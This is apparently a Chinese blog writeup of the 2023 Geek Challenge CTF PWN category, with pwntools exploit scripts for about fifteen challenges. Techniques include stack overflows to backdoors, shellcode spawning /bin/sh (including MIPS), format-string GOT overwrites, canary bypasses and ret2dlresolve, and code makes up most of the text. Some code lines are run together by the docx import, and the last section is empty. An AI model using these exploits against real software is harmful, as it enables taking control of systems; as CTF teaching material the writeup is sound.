WP可能有点简陋,因为是直接从docx导入到博客的,实在不想再重新写了!大家凑合着看吧!哈哈哈,问题不大!

pwn方向出自:队友

nc_pwntools

只要过了chal1和chal2即可执行任意命令

chal1要求输入的字符串以Syclover结尾

chal2要求算算数,直接接收一行后用eval函数即可算出结果

exp:

from pwn import *

context.arch='amd64'
context.log_level = 'debug'
#p=process("./nc_pwntools") p=remote("pwn.node.game.sycsec.com",30749)
elf=ELF("./nc_pwntools") payload=b'a'*92 payload+=b'Syclover'
p.send(payload)
p.recvuntil("first one\n")
line=p.recvuntil("=?",drop=True)
res=eval(line) print(res)
p.sendline(str(res))
p.interactive()

password

password是真随机数,看上去似乎无解

这里用strcmp来比较

有一种情况,就是随机数第一位是\x00,比较的时候就会直接截断字符串,我们写个脚本爆破这种情况就行

exp:

from pwn import *
context.arch='amd64'
context.log_level = 'debug' def pwn(): backdoor=0x4012F3
p.send(b'a'*0x28+p64(backdoor))
p.recv()
p.send(b'\x00'*65)
p.recvuntil("ssword:\n")
a=p.recv()
print(a) if b"Correct" in a:
p.interactive() if _name_ == " _main_ ": while True:
try:
p = remote("pwn.node.game.sycsec.com",30289)
#p=process("./password")
pwn()
except:
p.close() shell()

ret2text

这里栈溢出了

这里有后门函数

所以直接把返回地址改到后门函数那里就好

exp:

from pwn import *
context.arch='amd64'
context.log_level = 'debug'
p=process("./ret2text") elf=ELF("./ret2text")
#gdb.attach(p)
payload=b'a'*0x58
payload+=b'\x27\x12'
p.send(payload)
p.interactive()

write1

这里有后门函数

v2在栈上,因此可以直接通过控制v1来修改返回地址为后门函数,修改最后两位即可

exp:

from pwn import *
#context.arch='amd64'
context.log_level = 'debug'
p=process("./write1") #p=remote("pwn.node.game.sycsec.com",30723)
elf=ELF("./write1") libc=elf.libc
gdb.attach(p)
p.sendline(b'aaaa')
p.sendline(str(0x28))
p.sendline(str(hex(-0x2b))) p.sendline(str(0x29))
p.sendline(str(hex(-0x1))) p.sendline(b'-1') p.interactive()

ret2libc

额,偏不ret2libc,就用magic_gadget(一时用一时爽,一直用一直爽)主要是没有puts函数,还要

ret2csu,注意到got表可写,且给出了libc,因此直接用magic_gadget将setbuf的got表改为 one_gadget

的地址,最后调用setbuf即可

exp:

from pwn import *
context.arch='amd64'
context.log_level = 'debug'
#p=process("./ret2libc") p=remote("pwn.node.game.sycsec.com",30739)
elf=ELF("./ret2libc") libc=elf.libc
rdi=0x401333
vuln=0x4011fd
csu_low=0x40132A magic_gadget_addr=0x40119c
one=0xe3afe #gdb.attach(p) def set_to(addr,data):
pd = flat([
csu_low,
data,
addr + 0x3d,
0, 0, 0, 0,
magic_gadget_addr
])
return pd
payload=b'\x00'*(0x10+8)+set_to(elf.got['setbuf'],one-
libc.sym['setbuf'])+p64(elf.plt['setbuf'])
p.sendline(payload)
p.interactive()

ezpwn

0x13位的shellcode,空间貌似不够我们执行system("/bin/sh"),那么只能再次调用sys_write,在栈上再写上shellcode覆盖到当前shellcode的下一位即可

payload+=asm(''' xor eax,eax

add edx,esi

syscall ''')

用edi,eax这些32位寄存器来节省空间

经过测算,偏移为6,意味着我们读入6位后就来到了shellcode的结束地址,我们要在这里续写

shellcode

直接用asm(shellcraft.sh()生成即可

exp:

from pwn import *
context.arch='amd64'
context.log_level = 'debug'
#p=process("./ezpwn") p=remote("pwn.node.game.sycsec.com",30225)
elf=ELF("./ezpwn") #gdb.attach(p)
payload=b'a'*8
payload+=asm('''
xor eax,eax
add edx,esi
syscall
''') print(len(payload))
p.send(payload)
payload=b'a'*0x6
payload+=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

mips

这道题是32位的mips pwn

可以看到输入了两次

在测试中发现一个有意思的点,第一段输入超过0x10后程序会直接崩溃

猜测0x10处存储着重要的东西

实测得到栈0x10处存放着偏移,决定了第二段读入的位置

经过调试发现当偏移为0x58的时候(b'a'0x10+p32(0x58)+b'a'0x40这样发送),恰好第二次输入能覆盖到返回地址的位置。

整个程序都有rwx权限,但是栈的地址未知,不能直接ret2shellcode

通过修改返回地址为main函数,write时会泄露出栈地址

泄露出栈地址后第二轮将返回地址改为返回地址+4处,然后在返回地址+4处写shellcode即可

exp:

from pwn import *
context.arch='mips'
context.os='linux'
context.log_level = 'debug' #p=process(argv=["qemu-mipsel","-g","1234","-L","/usr/mipsel-linux•gnu","./mips"])
#p=process(argv=["qemu-mipsel","-L","/usr/mipsel-linux-gnu","./mips"])
p=remote("pwn.node.game.sycsec.com",....) elf=ELF("./mips") #libc=elf.libc
p.sendline(b'a'*0x10+p32(0x58)+b'a'*0x40)
pause()
p.sendline(p32(0x400920))
payload=b'''bi\t<//)5\xf4\xff\xa9\xafsh\t<n/)5\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\x f
4\xff\xbd'
\xa0\x03sh\t4\xfc\xff\xa9\xaf\xfc\xff\xbd'\xff\xff\x05(\xfc\xff\xa5\xaf\xfc\xff\ x
bd#\xfb\xff\x19$'( \x03 (\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd# (\xa0\x03\xfc\xff\xa0\xaf\xfc\xff\xbd'\xff\xff\x06(\xfc\xff\xa6\xaf\xfc\xff\xbd# 0\xa0\x03\xab\x0f\x024\x0c\x01\x01\x01'''
leak_addr=u32(p.recvuntil("\x40")[-4:])
print(hex(leak_addr)) pause()
p.sendline(b'a'*0x10+p32(0x58)+b'a'*0x40)
pause()
p.sendline(p32(leak_addr)+payload)
p.interactive()

write2

题目开始会给栈地址

题目可以任意地址写

题目开了pie

题目栈可以执行

那么我们可以根据泄露的栈地址,将返回地址改为我们控制的地址

这里有0x18大小的shellcode空间在栈上,足够放得下system("/bin/sh")了

sc=asm('''

xor esi,esi

mul esi

mov al,59

lea rdi,[rbp-0x24]

syscall

''')

sl(sc+b'/bin/sh')

只要多省省,空间就有了,实测这段shellcode的大小才19字节,实在是绰绰有余

那么只需将返回地址改为在栈上的shellcode地址即可

exp:

from pwn import *
context.arch='amd64'
context.log_level = 'debug'
p=process("./write2")
#p=remote("pwn.node.game.sycsec.com",30090)
elf=ELF("./write2") #gdb.attach(p)
p.recvuntil("index_addr:0x")
leak_addr=int(p.recv(12),16)
sc=asm('''
xor esi,esi
mul esi
mov al,59
lea rdi,[rbp-0x24]
syscall
''') p.sendline(sc+b'/bin/sh')
print(len(sc+b'/bin/sh'))
p.sendline(str(0x28))
p.sendline('0x'+str(hex(leak_addr+4))[-2:])
p.sendline(str(0x29))
p.sendline('0x'+str(hex(leak_addr+4))[-4:-2])
p.sendline(str(0x2a))
p.sendline('0x'+str(hex(leak_addr+4))[-6:-4])
p.sendline(str(0x2b))
p.sendline('0x'+str(hex(leak_addr+4))[-8:-6])
p.sendline(str(0x2c))
p.sendline('0x'+str(hex(leak_addr+4))[-10:-8])
p.sendline(str(0x2d))
p.sendline('0x'+str(hex(leak_addr+4))[-12:-10])
print(hex(leak_addr+4))
p.sendline(b'-1')
p.interactive()

fmt1.0

这里有execve函数

这里printf很奇怪,格式化字符串漏洞,但是后面参数还有个0

源赖氏出题人想让我们格式化字符串修改printf的got表为execve的plt表,然后栈溢出再来一遍,输入时输入"/bin/sh"即可执行execve("/bin/sh")

exp:

from pwn import *
context.arch='amd64'
context.log_level = 'debug'
p=process("./fmt1.0") #p=remote("pwn.node.game.sycsec.com",31883)
elf=ELF("./fmt1.0") libc=elf.libc
#gdb.attach(p)
rdi=0x401353
leave_ret=0x4012c8 #p.send(b'\x00'*0x50+p64(0x404500)+p64(0x401274)) #p.send(b'aaaaaaaa'+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401274)+b'a'*0x28+p64(0x404500-0x60)+p64(0x401280))
#sl(b'aaaaaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p')
payload=fmtstr_payload(6,{elf.got['printf']:elf.plt['execve']})
payload=payload.ljust(0x58,b'\x00')
payload+=p64(elf.sym['main'])
p.send(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()

white_canary

这里设置了种子

这里用两个随机数进行一些奇奇怪怪的操作后生成了canary,但是这不重要,用python的CDLL调用libc

即可还原生成的过程,最后发现取了生成的canary的最后8字节做了实际的canary

小沙箱,直接orw绕过

直接将shellcode写到bss段地址,然后栈溢出将返回地址改为bss地址即可

exp:

from ctypes import *
from pwn import *
import time
context.arch='amd64'
context.log_level = 'debug'
p=process("./chal")
#p=remote("pwn.node.game.sycsec.com",31567)
elf=ELF("./chal") libc =cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(int(time.time()-1)%60) v2 = libc.rand()
v3 = libc.rand() canary= ((((v2 >> 4) ^ (16 * v3 + (v3 >> 8) * (v2 << 8))) >> 32)+ ((((v2 >> 48) + (v2 << 16) * (v3 >> 16)) ^ (v3 << 48)) << 32)) canary=int(str(hex(canary))[-16:],16)
print(hex(canary)) #gdb.attach(p) shellcode=shellcraft.open("flag")+shellcraft.read(3,'rsp',100)+shellcraft.write( 1 ,'rsp',100) p.sendline(asm(shellcode))
p.sendline(b'a'*0x8+p64(canary)+b'a'*0x8+p64(0x4040e0))
p.interactive()

ez_fullprotection

这道题的后面会创建一个多线程,调用了gets函数,从而有栈溢出漏洞

我们可以通过输入相当大的字符串来覆盖掉多线程的tls结构体,从而绕过canary保护

那么我们还需要绕过pie保护,需要泄露程序的elf_base

这里赢的话由于有canary的原因没有什么用,但是,如果输入一个不是数字的东西,比如说字母就会导致输入失败,

从而不会覆盖原先栈上的数据,比如说输入a,那么他就会泄露出原先栈中的东西,从而泄露出elf_base

最后在多线程中完成rop即可

exp:

from pwn import *
#context.arch='amd64'
context.log_level = 'debug'
p=process("./ez_fullprotection") #p=remote("pwn.node.game.sycsec.com",30007) elf=ELF("./ez_fullprotection")
libc=elf.libc
#libc=ELF("./libc.so.6")
#gdb.attach(p)
p.sendline(b'a')
p.sendline(b'a')
p.recvuntil("entered ") elf_base=int(p.recv(14))-0x1240
print(hex(elf_base))
rdi=elf_base+0x16e3
ret=elf_base+0x101a p.sendline(b'a'*0x38+p64(rdi)+p64(elf_base+elf.got['puts'])+p64(elf_base+elf.plt [ 'puts'])+p64(elf_base+elf.sym['consolation_prize'])+b'a'*0x1000)
leak_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
libc_base=leak_addr-libc.sym['puts'] one=libc_base+0xe3b01
print(hex(libc_base))
system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b"/bin/sh\x00")) p.sendline(b'a'*0x38+p64(elf_base+0x16dc)+p64(0)+p64(0)+p64(0)+p64(0)+p64(one)+b '
a'*0x1000) p.interactive()

EVA

这道题有两种输入模式,分别是在canary前输入0x100个字节和canary后输入0x10个字节

由于我们一开始不知道canary的值,因此我们第一次只能选第二种输入方式

可以将栈迁移到bss段中去,注意这里迁移的位置一定要偏后一点,否则有可能下面调用函数的时候rsp

指向了不存在的区域

那么我们第一次完成了部分迁移,此时rbp在bss段上,而rsp还在栈上

这时候我们跳转到0x40128E处,这个地方会将rbp-8的位置写上canary的值,而我们的rbp是在bss段上的,因此会在bss段上也写一个canary值

这时候继续返回到0x40137e处,将rsp也挪到bss段上

注意,此时rbp是比rsp位置高的,而stack_check_fail函数是通过rbp-8来找到canary的,因此接下来我

们可以自由的溢出,而不用担心canary,其中结构如下:

canary

rbp

xxxx

xxxx

rsp

xxxx

xxxx

xxxx

接下来但回到0x401355处,调用第一种方式写,然后rop获得libc_base,接着调用system即可

exp:

from pwn import *
#context.arch='amd64'
context.log_level = 'debug'
p=process("./EVA") #p=remote("pwn.node.game.sycsec.com",30430)
elf=ELF("./EVA")
libc=ELF("./libc.so.6")
gdb.attach(p)
bss_addr=0x404800
rdi=0x401423
ret=0x40101a
rsi_r15=0x401421
rsp_r13_r14_r15=0x40141d
rbp=0x4011dd
leave_ret=0x401280
p.sendline(b'0')
pause()
p.send(p64(bss_addr)+p64(0x40128e))
pause()
p.sendline(b'0')
pause()
p.send(p64(bss_addr)+p64(0x40137e))
pause()
p.send(p64(bss_addr)+p64(0x401355))
pause() p.sendline(b'a'*0x58+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401355)) leak_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
libc_base=leak_addr-libc.sym['puts']
system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b"/bin/sh\x00"))
p.sendline(b'a'*0x70+p64(rdi)+p64(sh)+p64(system))
p.interactive()

why_n0t_puts

Partial RELRO+只有read,很明显是ret2dlresolve

直接套板子即可

将返回地址改为read的rop链

在bss段上伪造linkmap,然后调用dklresolve函数并传入假的linkmap_addr即可

exp:

from pwn import *
context.arch='amd64'
context.log_level = 'debug'
p=process("./why_n0t_puts")
#p=remote("pwn.node.game.sycsec.com",....)
elf=ELF("./why_n0t_puts")
libc=elf.libc def create_link_map(l_addr,know_got,link_map_addr):
link_map=p64(l_addr & (2 ** 64 - 1))
#dyn_relplt 注意这里是DYNAMIC节中含的relplt(或是说DT_JMPREL?)的指针的结构
link_map+=p64(0)
link_map+=p64(link_map_addr+0x18)
#ptr2relplt
#relplt 注意这里才是relplt(或是说DT_JMPREL?)
link_map+=p64((know_got - l_addr)&(2**64-1))
link_map+=p64(0x7)
link_map+=p64(0)
#dyn_symtab 同样,这里才是DT_SYMTAB在DYNAMIC中的结构,里面有一个指针指向DTSYMTAB,这个指针要指向我们选的已重定位函数的got表-8的地方,这样才能让st_value为已重定位函数的地址
link_map+=p64(0)
link_map+=p64(know_got-0x8)
link_map+=b'/bin/sh\x00'
link_map=link_map.ljust(0x68,b'B')
link_map+=p64(link_map_addr) #字符串表指针的指针,随便写个地址就行,反正用不到
link_map+=p64(link_map_addr+0x30) #ptr2dyn_symtab_addr,DT_SYMTAB在 DYNAMIC中对应的结构的地址
link_map=link_map.ljust(0xf8,b'C')
link_map+=p64(link_map_addr+0x8) #ptr2dyn_relplt_addr
return link_map #gdb.attach(p)
rdi=0x4011d3
rsi_r15=0x4011d1
fake_link_map_addr=0x404800
data=0x404500
sh=fake_link_map_addr+0x40 offset=libc.symbols['system']-libc.symbols['read']
fake_link_map=create_link_map(offset,elf.got['read'],fake_link_map_addr)
print(len(fake_link_map))
payload=b'a'*0x38+p64(rdi)+p64(0)+p64(rsi_r15)+p64(fake_link_map_addr)+p64(0)+p6
4
(rsi_r15)+p64(fake_link_map_addr)+p64(0)+p64(elf.plt['read'])+p64(rdi)+p64(sh)+p
6
4(0x401026)+p64(fake_link_map_addr)+p64(0)
p.send(payload)
pause()
p.send(fake_link_map)
p.interactive()

fmt2.0

有两次使用格式化字符串的机会,通过调试可以确定偏移为6

第一次泄露栈地址和libc基址

第二次将栈的返回地址改为one_gadget的地址。

这里因为空间有限使用short来写入数据,也就是%hn

此脚本有概率打不通,主要是地址泄露那块的问题1,差不多打通的概率为1/2

exp:

from pwn import *
context.arch='amd64'
context.log_level = 'debug'
p=process("./fmt2.0")
#p=remote("pwn.node.game.sycsec.com",)
elf=ELF("./fmt2.0")
libc=elf.libc
#gdb.attach(p) p.sendline(b'aaaaaaaa%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p')
p.recvuntil("aaaa0x") leak_addr=int(p.recv(12),16)
print(hex(leak_addr))
ret_addr=leak_addr+0x68 p.recvuntil("0x50-0x")
leak_addr=int(p.recv(12),16)
read=leak_addr-18
libc_base=read-libc.sym['read']
p.recvuntil("0x55") leak_addr=int((b'55'+p.recv(10)),16) print(hex(leak_addr&0xfffffffff000-0x1000))
base=leak_addr&0xfffffffff000-0x1000
one=0xe3b01
payload=fmtstr_payload(6,{ret_addr:libc_base+one},write_size='short')
p.sendline(payload)
p.interactive()

fmt3.0

EXP:

2023第十四届极客大挑战 — PWN WP的更多相关文章

  1. 第九届极客大挑战 部分WP

    CODE 和0xpoker分0day 百度 取石子游戏. https://blog.csdn.net/qq_33765907/article/details/51174524 已经说得很详细了,慢慢来 ...

  2. 第九届极客大挑战——Geek Chatroom(sql盲注)

    首先观察这个web应用的功能,可以任意留言,也可以搜索留言,当然我还用cansina扫描过网站,查看过源码,抓包查看过header等.没发现其他提示的情况下断定这就是个sql注入,可能存在的注入点呢, ...

  3. 第九届极客大挑战——怎么又是江师傅的秘密(java反序列化)

    这道题其实是考jsp和java的,我没学过jsp,java倒是有一点了解,但是刚拿到题的时候还是看不懂java代码里的内容,所以去简单学习了下jsp(jsp教程),按照教程里的步骤搭建了eclipse ...

  4. 第九届极客大挑战——小帅的广告(二阶sql注入)

    也是经过一通扫描和测试,没发现其他有用信息,感觉这是个sql注入.其实对于二阶sql注入我以前没实践过,也没看过资料,只是知道这个名字,但不知道为何看到这道题就让我回想起了这个名词,所以查了一下二阶s ...

  5. 2016第七季极客大挑战Writeup

    第一次接触CTF,只会做杂项和一点点Web题--因为时间比较仓促,写的比较简略.以后再写下工具使用什么的. 纯新手,啥都不会.处于瑟瑟发抖的状态. 一.MISC 1.签到题 直接填入题目所给的SYC{ ...

  6. BUUOJ [极客大挑战 2019]Secret File

    [极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...

  7. 三叶草极客大挑战2020 部分题目Writeup

    三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...

  8. [原题复现][极客大挑战 2019]BuyFlag

    简介  原题复现:[极客大挑战 2019]BuyFlag  考察知识点:php函数特性(is_numeric().strcmp函数())  线上平台:https://buuoj.cn(北京联合大学公开 ...

  9. 极客大挑战2019 http

    极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...

  10. 2020极客大挑战Web题

    前言 wp是以前写的,整理一下发上来. 不是很全. 2020 极客大挑战 WEB 1.sha1碰撞 题目 图片: 思路 题目说,换一种请求方式.于是换成post.得到一给含有代码的图片 图片: 分析该 ...

随机推荐

  1. 数字孪生技术助力GIS行业实现视效升级

    在当今数字化时代,数字孪生技术正逐渐成为各行各业的一项核心技术,而地理信息系统(GIS)行业也不例外.数字孪生和GIS的结合,为地理空间数据的采集.管理.分析和可视化提供了全新的可能性,使GIS行业得 ...

  2. 如何屏蔽各大AI公司爬虫User Agent

    罗列各大AI公司Scraper爬虫Crawler使用的User Agent,教您如何在robots.txt里面屏蔽这些爬虫的访问,禁止它们下载您的网站内容以训练 AI 模型,保护数据,降低带宽,防止宕 ...

  3. 【scikit-learn基础】--『监督学习』之 随机森林分类

    随机森林分类算法是一种基于集成学习(ensemble learning)的机器学习算法,它的基本原理是通过对多个决策树的预测结果进行平均或投票,以产生最终的分类结果. 随机森林算法可用于回归和分类问题 ...

  4. flutter中InheritedWidget共享数据

    InheritedWidget是Flutter框架中用于在Widget树中共享数据的机制.它是一个特殊的Widget,可以将其放置在Widget树的上层,并向下传递共享的数据给其子Widget.子Wi ...

  5. Provider 四种消费者

    Provider.of Provider.of 方法是 Provider 库中最常用的获取共享数据的方法之一.它接收一个 BuildContext 对象和一个泛型类型参数 T,会查找 Widget 树 ...

  6. 【华为云技术分享】网络场景AI模型训练效率实践

    [摘要] 问题 KPI异常检测项目需要对设备内多模块.多类型数据,并根据波形以及异常表现进行分析,这样的数据量往往较大,对内存和性能要求较高.同时,在设计优化算法时,需要快速得到训练及测试结果并根据结 ...

  7. 十八般武艺玩转GaussDB(DWS)性能调优:总体调优策略

    摘要: 性能调优是应用迁移或开发过程中的关键步骤,同时也在整个项目实施过程中占据很大的份量,本篇主要介绍数据库级别的性能调优思路和总体策略. 性能调优是应用迁移或开发过程中的关键步骤,同时也在整个项目 ...

  8. 聊聊LiteOS中生成的Bin、HEX、ELF三种文件格式

    摘要:我们在使用编译器在编译工程后会要求生成可执行文件,将这些文件烧录到MCU进行运行,达到我们测试和使用程序的目的,再使用工具链进行编译的时候往往生成.bin..hex ..elf ..alf等文件 ...

  9. Nginx在windows下常用命令

    cmd 进入Nginx解压目录 执行以下命令 start nginx : 启动nginx服务 nginx -s reload :修改配置后重新加载生效 nginx -s reopen :重新打开日志文 ...

  10. Python 获取控制台输入的值

    获取控制台输入参数 if __name__ == '__main__': while 1: question = input('用户:') answer = "你的问题是:" + ...